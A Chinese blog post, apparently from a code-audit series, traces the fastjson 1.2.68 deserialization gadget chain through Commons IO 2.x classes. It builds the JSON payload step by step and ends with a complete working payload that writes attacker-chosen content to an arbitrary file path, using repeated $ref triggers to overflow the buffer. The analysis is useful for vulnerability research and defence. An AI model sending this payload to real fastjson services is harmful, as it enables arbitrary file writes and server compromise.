Java代码审计——fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件

0x00 前言

反序列化总纲

主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable

这一篇应该是最后一个网上能找到的poc分析了。

0x01 环境

环境选择:

        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.1</version>
        </dependency>

0x02 调用链分析

1、org.apache.commons.io.input.XmlStreamReader

首先是org.apache.commons.io.input.XmlStreamReader,这个类是不存在无参构造方法,根据fastjson特性会调用最多的参数的构造方法也就是如下所示:
在这里插入图片描述
在XmlStreamReader构造方法中,接受四个参数,is,httpContentType,lenient,defaultEncoding,在此构造方法中会调用doRawStream方法:
在这里插入图片描述
然后调用getBOMCharsetName->getBOM,在getBOM中调用了inputstream的read方法
在这里插入图片描述
截止这里为止,目前的poc为:

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{inptstream},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

2、org.apache.commons.io.input.TeeInputStream

TeeInputStream的构造方法就是进行赋值:

在这里插入图片描述

然后会调用TeeInputStream的read方法,TeeInputStream有两个read,那么会调用哪一个呢
在这里插入图片描述
调用哪一个read实际上和XmlStreamReader有关,会先调用BufferedInputStream的read方法
在这里插入图片描述
然后调用fill方法
在这里插入图片描述

在fill方法中会调用read方法,也就是三参的read
在这里插入图片描述
这里read的方法的作用就是讲input的内容写进output中去。 那么现在实际上就是需要两个内容,一个是input,一个是output。

poc:

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{inputStream},
			"branch":{outputStream},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

这里closeBranch会影响到branch的close,所以用true,那么接下来就是找inputStream和outputStream

3、inputStream

3.1 org.apache.commons.io.input.ReaderInputStream

在org.apache.commons.io.input.ReaderInputStream中首先调用构造方法:

在这里插入图片描述
然后看一下read方法,在read方法中调用了fillBuffer方法
在这里插入图片描述

在fillBuffer方法,可以看到会从this.reader.read中进行读取
在这里插入图片描述

3.2 org.apache.commons.io.input.CharSequenceReader

在org.apache.commons.io.input.CharSequenceReader的构造方法会接收一个CharSequenceReader,String 实现了CharSequence 的接口,所以可以直接传入String类型的。
在这里插入图片描述
在read方法中会拿到charSequence的内容
在这里插入图片描述
那么构造payload

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{outputStream},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}
3.2.1 疑问

这里有一个疑问实际上就是为什么这里的String要这样构造。那么就要来看一下StringCodec

在这里插入图片描述
可以看到这里有三个通路可以走,那么这里就要先参考token,token在com\alibaba\fastjson\parser\JSONToken.class

token==4 实际上就是 字符串的时候会直接返回val。
token==2的时候实际上就是说int类型也会直接返回val。

这里用1来进行测试,可以看到也不会出现任何错误。

在这里插入图片描述
如果既不是字符串也不是int,那么就会重新走parse进行校验,那么实际上就会走到这里校验,实际上这里可以赋值多种格式的,可以在最后看看哪一种格式最合适。
在这里插入图片描述
也可以使用[]的方式进行识别
在这里插入图片描述

4.output

4.1 org.apache.commons.io.output.WriterOutputStream

这里有一个前提就是我们知道output是要调用一次write的,那么我们先来看WriterOutputStream的write方法,当writeImmediately为true的时候,会调用flushOutput
在这里插入图片描述
在这里调用write方法去获取到output
在这里插入图片描述
那么我们接着构造poc

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{
				"@type":"org.apache.commons.io.output.WriterOutputStream",
				"writer":{writer},
				"charsetName":"UTF-8",
				"bufferSize":1024,
				"writeImmediately":true
			},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

4.2 org.apache.commons.io.output.FileWriterWithEncoding

在FileWriterWithEncoding中提供了构造方法,通过文件名来返回Writer
在这里插入图片描述
接着看initWriter,可以看到这里是直接进行了赋值。
在这里插入图片描述
那么最后poc就是

{
	"@type":"com.alibaba.fastjson.JSONObject",
	"@type":"org.apache.commons.io.input.XmlStreamReader",
	"is":{
			"@type":"org.apache.commons.io.input.TeeInputStream",
			"input":{
					"@type":"org.apache.commons.io.input.ReaderInputStream",
					"reader":{
						"@type":"org.apache.commons.io.input.CharSequenceReader",
						"charSequence":{"@type":"java.lang.String""aaaaaa......(YOUR_INPUT)"
					},
					"charsetName":"UTF-8",
					"bufferSize":1024
				},
			"branch":{
				"@type":"org.apache.commons.io.output.WriterOutputStream",
				"writer":{
					"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
					"file":"文件位置",
					"encoding":"UTF-8",
					"append":false
				},
				"charsetName":"UTF-8",
				"bufferSize":1024,
				"writeImmediately":true
			},
			"closeBranch":true
		},
	"httpContentType":"text/xml",
    "lenient":false,
    "defaultEncoding":"UTF-8"
}

# 5. 写文件

这里看了大佬的分析,为什么这里会出现写文件但是内容写不进去,是因为在
在这里插入图片描述
这里查了一下isUnderflow就是下溢的意思,isOverflow是上溢的意思,简单的也可以说是isUnderflow的情况下不会做write操作,只有上溢才会做write操作,那就是说我们需要写入足够多的数据才可以。

这里默认private static final int DEFAULT_BYTE_BUFFER_SIZE = 8192;
在这里插入图片描述
按照大佬说的,可以传入多次从而达到溢出的目的,采用的方式就是$ref的方式进行迭代。但是实际上最多只能写入8192个字节

poc

{
  "x":{
  "@type":"com.alibaba.fastjson.JSONObject",
  "input":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.ReaderInputStream",
  "reader":{
  "@type":"org.apache.commons.io.input.CharSequenceReader",
  "charSequence":{"@type":"java.lang.String""字符串"
  },
  "charsetName":"UTF-8",
  "bufferSize":1024
  },
  "branch":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.output.WriterOutputStream",
  "writer":{
  "@type":"org.apache.commons.io.output.FileWriterWithEncoding",
  "file":"C:/Users/wdd/Desktop/ls/ls/31.txt",
  "encoding":"UTF-8",
  "append": false
  },
  "charsetName":"UTF-8",
  "bufferSize": 1024,
  "writeImmediately": true
  },
  "trigger":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger2":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  },
  "trigger3":{
  "@type":"java.lang.AutoCloseable",
  "@type":"org.apache.commons.io.input.XmlStreamReader",
  "is":{
  "@type":"org.apache.commons.io.input.TeeInputStream",
  "input":{
  "$ref":"$.input"
  },
  "branch":{
  "$ref":"$.branch"
  },
  "closeBranch": true
  },
  "httpContentType":"text/xml",
  "lenient":false,
  "defaultEncoding":"UTF-8"
  }
  }
}

参考

  • https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

有空可以关注一下公众号鸭
关注即可获取大量学习资源,可以在公众号私信领取~

1、提供安全每日好文推荐
2、提供最新漏洞情报
3、提供一些实用小技巧
4、提供一些最新漏洞分析
5、Java代码审计从0开始学习
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

王嘟嘟_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值